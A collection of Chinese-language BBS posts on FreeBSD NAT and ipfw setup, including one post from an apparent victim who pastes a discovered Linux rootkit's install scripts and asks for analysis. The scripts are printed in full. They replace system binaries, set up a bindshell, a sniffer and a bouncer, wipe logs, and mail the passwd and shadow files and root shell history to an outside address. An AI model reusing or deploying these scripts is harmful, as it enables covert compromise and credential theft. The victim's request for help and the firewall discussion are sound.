: >$natd -interface fxp0
: natd.conf 只寫下面一行(如果不需port redirect)
: dynamic
: 改好不用reboot
: 執行natd -interface fxp0 就可以試了
: >i has test my card .run fxp1 ping fxp0 can't ping .how can i do ??
: >help!!!!
rc.firewall 是不需要去動的...
/etc/rc.conf
natd_interface=fxp0
natd_enable=YES
firewall_enable=yes
firewall_type=open
gateway_enable=yes
應該就好了吧...
--
[m※ Origin: 臺大電機 Maxwell 站 ◆ From: 139.223.87.135
嗯，系統好像被 crack 了...
--------------------------------------------------------------------------------
前幾天突然發現在 / 有個 la.tgz 的檔案..
-r-------- 1 root root 384575 Aug 15 16:33 la.tgz
但是一下子也沒去處理，
今天將他解開來看...
發現以下的東西..
由於對整個 linux 系統還不是很熟，
只是發現他好像把我的 syslogd 改了...
從這個檔案出現的日期之後的所有 /var/log/secure.* 的 log 就
全部沒有內容了，
之前的都還一切正常....:(
以下是在該壓縮檔內的一些 shell 檔的內容，
有人可以告訴我到底發生了啥事嘛？
-rw-r--r-- 1 root root 321888 Aug 14 06:41 bds.tgz
drwxr-xr-x 2 root root 4096 Aug 13 13:40 bindshell
-rw-r--r-- 1 root root 393 Aug 13 18:07 bnc.sh
-rwxr-xr-x 1 root root 21156 Jul 30 17:38 in.identd
-rw-r--r-- 1 root root 4100 Aug 15 15:57 install.sh
-r-s--x--x 1 root root 71335 Aug 13 14:12 login
drwxr-xr-x 2 root root 4096 Jul 31 02:40 pty
-rw-r--r-- 1 root root 5374 Aug 14 12:30 secure.sh
bindshell 目錄：
================
-rw-r--r-- 1 501 staff 359 Aug 14 11:33 bindshell.sh
-rwxr-xr-x 1 root root 12105 Jul 28 13:48 inetd
-rwxr-xr-x 1 root root 16015 Jul 28 13:52 rsz
另外 pty 目錄是空的....
以下是 install.sh 的部份
========================
#!/bin/sh
unset HISTFILE
killall -9 -q syslogd
clear
echo "#######################################################################"
echo "#######################################################################"
echo "#### distribute and i will kill you. ####"
echo "#### note: it will fuck up linux 2.0.* ####"
echo "#######################################################################"
echo "#######################################################################"
oldloc=`pwd`
if [ "$UID" != 0 ] ; then
echo "#### you st00pid monkeyass, you gotta be root to run this! ####"
echo "#######################################################################"
exit 0
fi
if [ -d /dev/ttyyy ] ; then
echo "### aborting... ####"
echo "#######################################################################"
exit 0
fi
killall -9 -q bnc
killall -9 -q minegtty
killall -9 -q sniff
rm -rf /dev/ttyyy
mkdir /dev/ttyyy
echo "#### backdooring stuff.. ####"
touch -r /bin/login login
chattr -isa /bin/login
rm -f /bin/login
mv login /bin/login
chmod 000 /bin/login
chmod a+x /bin/login
chmod u+sr /bin/login
tar zxf bds.tgz
rm -rf bds.tgz
cd bds
touch -acmr /bin/ps ps
touch -acmr /bin/ls ls
touch -acmr /bin/netstat netstat
touch -acmr /usr/bin/find find
touch -acmr /usr/bin/top top
touch -acmr /usr/bin/pstree pstree
touch -acmr /usr/bin/find find
if [ -f /usr/bin/show ] ; then
touch -acmr /usr/bin/show show
chattr -isa /usr/bin/show
mv -f show /usr/bin/show
chmod +x /usr/bin/show
fi
if [ -f /usr/sbin/syslogd ] ; then
touch -acmr /usr/sbin/syslogd syslogd
chattr -isa /usr/sbin/syslogd
mv -f syslogd /usr/sbin/syslogd
chmod +x /usr/sbin/syslogd
else
touch -acmr /sbin/syslogd syslogd
chattr -isa /sbin/syslogd
mv -f syslogd /sbin/syslogd
chmod +x /sbin/syslogd
fi
touch -acmr /usr/sbin/tcpd tcpd
touch -acmr /sbin/ifconfig ifconfig
chattr -isa /bin/ps
mv -f ps /bin/ps
chattr -isa /bin/netstat
mv -f netstat /bin/netstat
chattr -isa /usr/bin/top
mv -f top /usr/bin/top
chattr -isa /bin/ls
mv -f ls /bin/ls
chattr -isa /usr/bin/find
mv -f find /usr/bin/find
chattr -isa /usr/bin/pstree
mv -f pstree /usr/bin/pstree
chattr -isa /usr/sbin/tcpd
mv -f tcpd /usr/sbin/tcpd
chattr -isa /sbin/ifconfig
mv -f ifconfig /sbin/ifconfig
cd ..
rm -rf bds
chmod +x /bin/ps
chmod +x /bin/netstat
chmod +x /usr/bin/top
chmod +x /bin/ls
chmod +x /usr/bin/find
chmod +x /usr/bin/pstree
chmod +x /usr/sbin/tcpd
chmod +x /sbin/ifconfig
echo "#### done backdooring. ####"
echo "#### setting up a bindshell.. ####"
cd bindshell
sh bindshell.sh
cd ..
echo "#### done setting up bindshell, now setting up a sniffer.. ####"
mv sniff /dev/ttyyy/sniff
chmod +x /dev/ttyyy/sniff
cd /dev/ttyyy
./sniff &
cd $oldloc
mv -f pty/* /dev/
echo "#### enabling telnet/disabling auth... ####"
sed "s/^#telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/in
etd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^# telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/i
netd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^auth/#auth/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.
conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^ auth/# auth/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inet
d.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
etd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^# telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/i
netd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^auth/#auth/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.
conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
sed "s/^ auth/# auth/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inet
d.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
killall -9 -q in.identd
killall -9 -q identd
mv -f in.identd /usr/sbin/in.identd
chmod 000 /usr/sbin/in.identd
chmod +x /usr/sbin/in.identd
killall -HUP inetd
/usr/sbin/in.identd -s
cat /etc/rc.d/rc.local > /tmp/rc.local; echo "/usr/sbin/in.identd -s" >> /tmp/rc
.local ; touch -acmr /etc/rc.d/rc.local /tmp/rc.local; mv -f /tmp/rc.local /etc/
rc.d/rc.local
mkdir /dev/...
echo "root:m00" > /dev/.../id
sh bnc.sh
echo "#### securing now... ####"
sh secure.sh
底下是 bnc.sh 的部份
=====================
mkdir -p /dev/ttyyy/bnc
mv -f bnc /dev/ttyyy/bnc/bnc
bncport=27686
bncpass=s3ct0r
bncusers=0
bncdefport=6667
echo "pt:$bncport" > /dev/ttyyy/bnc/bnc.conf
echo "ps:$bncpass" >> /dev/ttyyy/bnc/bnc.conf
echo "mu:$bncusers" >> /dev/ttyyy/bnc/bnc.conf
echo "dp:$bncdefport" >> /dev/ttyyy/bnc/bnc.conf
chmod 700 /dev/ttyyy/bnc/bnc
cd /dev/ttyyy/bnc
./bnc bnc.conf 1>/dev/null 2>/dev/null
cd $oldloc
接下來是 secure.sh 的部份
==========================
#!/bin/sh
oldloc=`pwd`
cd /etc
cp inetd.conf /dev/ttyyy/inetd.conf
grep -v pop-2 inetd.conf > stop.pop
touch -r inetd.conf stop.pop
mv -f stop.pop inetd.conf
echo "#### removing the users you added.. ####"
grep -v sectr passwd > passwd.out
touch -r passwd passwd.out
mv -f passwd.out passwd
grep -v sector passwd > passwd.out
touch -r passwd passwd.out
mv -f passwd.out passwd
if [ -f /etc/shadow ] ; then
grep -v sectr shadow > shadow.out
touch -r shadow shadow.out
mv -f shadow.out shadow
grep -v sector shadow > shadow.out
touch -r shadow shadow.out
mv -f shadow.out shadow
fi
cd $oldloc
echo "#### patching the box from local vulnerabilities... ####"
if [ -f /usr/sbin/userhelper ] ; then
chmod u-s /usr/sbin/userhelper
fi
if [ -f /usr/bin/man ] ; then
chmod 700 /usr/bin/man
fi
if [ -f /usr/bin/suidperl ] ; then
chmod u-s /usr/bin/suidperl
fi
if [ -f /var/spool/lpd/lp/.config ] ; then
chmod 700 /var/spool/lpd/lp/.config
fi
if [ -f /etc/ld.so.preload ] ; then
chmod 700 /etc/ld.so.preload
fi
if [ -f /usr/X11R6/bin/xterm ] ; then
chmod 700 /usr/X11R6/bin/xterm
fi
if [ -f /usr/bin/inews ] ; then
chmod 700 /usr/bin/inews
fi
if [ -f /usr/bin/crontab ] ; then
chmod 700 /usr/bin/crontab
fi
if [ -f /usr/local/bin/acushop/.sbstart ] ; then
chmod 700 /usr/local/bin/acushop/.sbstart
fi
if [ -f /sbin/smbmount ] ; then
chmod 700 /sbin/smbmount
fi
if [ -f /usr/libexec/pt_chown ] ; then
chmod 700 /usr/libexec/pt_chown
fi
if [ -f /usr/bin/xvcad/dxfin ] ; then
chmod 700 /usr/bin/xvcad/dxfin
fi
if [ -f /usr/sbin/amq ] ; then
chmod 700 /usr/sbin/amq
fi
if [ -f /usr/bin/zgv ] ; then
chmod 700 /usr/bin/zgv
if [ -f /etc/ftpaccess ] ; then
echo "#### disabling anonymous ftp.. ####"
grep -v anonymous /etc/ftpaccess > /tmp/ftpaccess
echo "class all real,guest *" >> /tmp/ftpaccess
touch -acmr /etc/ftpaccess /tmp/ftpaccess
rm -rf /etc/ftpaccess
mv -f /tmp/ftpaccess /etc/ftpaccess
fi
grep -v ingreslock /etc/services > /tmp/services
touch -acmr /etc/services /tmp/services
mv -f /tmp/services /etc/services
grep -v sunrpc /etc/services > /tmp/services
touch -acmr /etc/services /tmp/services
mv -f /tmp/services /etc/services
rm -rf /var/named/ADMROCKS
killall -9 rpc.mountd rpc.portmap rpc.nfsd smbd portmap 1>/dev/null 2>/dev/null
killall -9 nmbd snmpd ypasswd rpc.yppasswdd 1>/dev/null 2>/dev/null
killall -9 rpc.yppasswdd rpc.statd 1>/dev/null 2>/dev/null
ps -aux | grep amd | grep -v grep | awk '{print "kill -9 "$2""}' > kill
ps -aux | grep ipop | grep -v grep | awk '{print "kill -9 "$2""}' >> kill
ps -aux | grep auto | grep -v grep | awk '{print "kill -9 "$2""}' >> kill
ps -aux | grep named | grep -v grep | awk '{print "kill -9 "$2""}' >> kill
chmod 700 kill
./kill
rm -rf kill
grep -v 9704 /etc/inetd.conf > /tmp/inetd ; touch -acmr /etc/inetd.conf /tmp/ine
td ; mv -f /tmp/inetd /etc/inetd.conf
echo "#### mailing the box info to you... ####"
echo "" > owned
echo "* CPU Info:" >> owned
echo "" >> owned
cat /proc/cpuinfo >> owned
echo "" >> owned
echo "" >> owned
echo "* SYS Info:" >> owned
echo "" >> owned
uname -a >> owned
uptime >> owned
echo "" >> owned
echo "" >> owned
echo "* MEM Info:" >> owned
echo "" >> owned
cat /proc/meminfo >> owned
echo "" >> owned
echo "" >> owned
echo "* NET Info:" >> owned
echo "" >> owned
/sbin/ifconfig >> owned
echo "" >> owned
echo "" >> owned
echo "* HOST Info:" >> owned
echo "" >> owned
hostname >> owned
echo "" >> owned
echo "" >> owned
if [ -f /root/.bash_history ] ; then
echo "* HISTORY File (/root):" >> owned
echo "" >> owned
cat /root/.bash_history >> owned
echo "" >> owned
echo "" >> owned
fi
if [ -f /.bash_history ] ; then
echo "* HISTORY File (/):" >> owned
echo "" >> owned
cat /.bash_history >> owned
echo "" >> owned
echo "" >> owned
fi
if [ -f /tmp/.bash_history ] ; then
echo "* HISTORY File (/tmp):" >> owned
echo "" >> owned
cat /tmp/.bash_history >> owned
echo "" >> owned
echo "" >> owned
fi
echo "* INETD Config:" >> owned
echo "" >> owned
cat /etc/inetd.conf >> owned
echo "" >> owned
echo "" >> owned
echo "* PASSWD File:" >> owned
echo "" >> owned
cat /etc/passwd >> owned
echo "-" >> owned
echo "-" >> owned
if [ -f /etc/shadow ] ; then
echo "* SHADOW File:" >> owned
echo "" >> owned
cat /etc/shadow >> owned
echo "" >> owned
echo "" >> owned
fi
echo "*********************** EOF ***********************" >> owned
cat owned | mail -s rewt sec0wnz@yahoo.com
rm -f owned
echo "#### cleaning logs... ####"
cd /var/log
:>wtmp 1>/dev/null 2>/dev/null
:>utmp 1>/dev/null 2>/dev/null
:>lastlog 1>/dev/null 2>/dev/null
:>messages 1>/dev/null 2>/dev/null
:>maillog 1>/dev/null 2>/dev/null
:>secure 1>/dev/null 2>/dev/null
:>xferlog 1>/dev/null 2>/dev/null
cd $oldloc
if [ -f /.bash_history ] ; then
rm -rf /.bash_history
fi
if [ -f /tmp/.bash_history ] ; then
rm -rf /tmp/.bash_history
fi
echo "" > /root/.bash_history
cd ..
rm -rf lala.tgz
rm -rf lala
if [ -f /usr/sbin/syslogd ] ; then
/usr/sbin/syslogd
else
/sbin/syslogd
fi
killall -HUP inetd
echo "#### heh, done. ####"
echo "#######################################################################"
echo "#######################################################################"
bindshell.sh 檔案內容
=====================
#!/bin/sh
chattr -isa /usr/sbin/inetd
rm -rf /usr/bin/inetd
cp -f /usr/sbin/inetd /usr/bin/inetd
rm -rf /usr/sbin/inetd
mv minegtty /sbin/minegtty
touch -acmr /usr/bin/inetd inetd
mv inetd /usr/sbin/inetd
chmod +x /sbin/minegtty
chmod +x /usr/sbin/inetd
chmod +x rsz
./rsz -t /usr/bin/inetd /usr/sbin/inetd > /dev/null
killall -9 -q inetd
/usr/sbin/inetd
--
☆ [Origin:椰林風情] [From: 140.112.198.1] [Login: **] [Post: 27]
4.2-RELEASE的NAT做法是不是改變了丫??
--------------------------------------------------------------------------------
==> seawolf.bbs@bbs.cs.nthu.edu.tw (海狼) 的文章中提到:
>我按照4.0的做法,在/etc/rc.conf加入以下這幾行
>firewall_enable="YES" # Set to YES to enable firewall functionality
>firewall_script="/etc/rc.firewall" # Which script to run to set up the firewall
/etc/rc.firewall內容為下面四行
/sbin/ipfw -f flush
/sbin/ipfw add 100 divert natd all from any to any via de0
/sbin/ipfw add 200 pass all from any to any
/sbin/ipfw add 65534 allow all from any to any
>firewall_type="OPEN" # Firewall type (see /etc/rc.firewall)
>firewall_quiet="NO" # Set to YES to suppress rule display
>firewall_logging="NO" # Set to YES to enable events logging
>firewall_flags="" # Flags passed to ipfw when type is a file
>natd_program="/sbin/natd" # path to natd, if you want a different one.
>natd_enable="YES" # Enable natd (if firewall_enable == YES).
>natd_interface="fxp0" # Public interface or IPaddress to use.
>natd_flags="" # Additional flags for natd.
改成
natd_flags="-f /etc/natd.conf"
然後 /etc/natd.conf (只有NAT沒有其他控管)
dynamic (只有一行,如果以後還需增加功能時可用)
不然就改成natd_flags="-dynamic" 就好了
還有rc.firewall要記得改
>gateway_enable="YES" # Set to YES if this host will be a gateway.
>但是啟動的時候卻出現了
>ipfw: getsockopt(IP_FW_ADD): Invalid argument
>的訊息,
>然後就變成對內的的ip都能正常使用
>server跟client都互ping得到
>但是client電腦卻都出不去了,只剩server正常
>man natd看到有一段說要在/etc/rc.conf加上
>sysctl -w net.inet.ip.forwarding=1
>這一行,但我實在看不太懂語法了
>man sysctl又沒提到
>我須要修改什麼嗎?
--
* Origin: 中山大學-美麗之島BBS * From: 211.22.182.202 [已通過認證]
IPFW把我的觀念搞亂了
--------------------------------------------------------------------------------
==> 在 "LOTUS" (lotus.wang@msa.hinet.net) 的文章中提到:
> 請教前輩rule值是由小到大執行 那到底是要先封閉再打開還是先打開再封閉呢
> 在下的rc.firewall如下 應該只是一個小觀念 但在下搞亂了 可不可以請前輩指點迷津
> 在下有把kernel 裡面的 default_to_accept 拿掉了:
> #rc.firewall:
> /sbin/ipfw -f flush #這行不會解釋
> /sbin/ipfw add divert natd all from any to any via vr0 #這行看不懂 :P
> /sbin/ipfw add 60000 pass all from any to any #60000所有通道打開
> /sbin/ipfw add 59990 deny tcp from any to any 21 #59990關掉所有ftp通道
> /sbin/ipfw add 59980 deny tcp from any to any 23 #59980關掉telnet通道
> /sbin/ipfw add 59970 pass tcp from 192.168.1.119 to any 23 #59970打開
> 192.168.1.119的telnet通道
flush 的目的是初始化，也就是把目前所有規則忽略，重新定義新的
divert 這行是要所有會通過 vr0 這塊卡的封包都丟給 natd 處理
底下四個規則，由小而大是
1.可透過 192.168.1.119 對外(包括自己) telnet
2.禁止所有 telnet 封包 (1.+2. ==>只能由 192.168.1.119 對外 telnet)
3.禁止所有 ftp 封包
4.任何封包可通過
結果是，任何封包可通過，不過 ftp 不行，telnet 只能192.168.1.119對外
--
一般使用者的一般簽名，放在一般該放簽名檔的地方，讓你
對他有著一般模糊的印象...
--
* Origin: ★ 交通大學資訊科學系 BBS ★ (bbs.cis.nctu.edu.tw: 140.113.23.3)
|
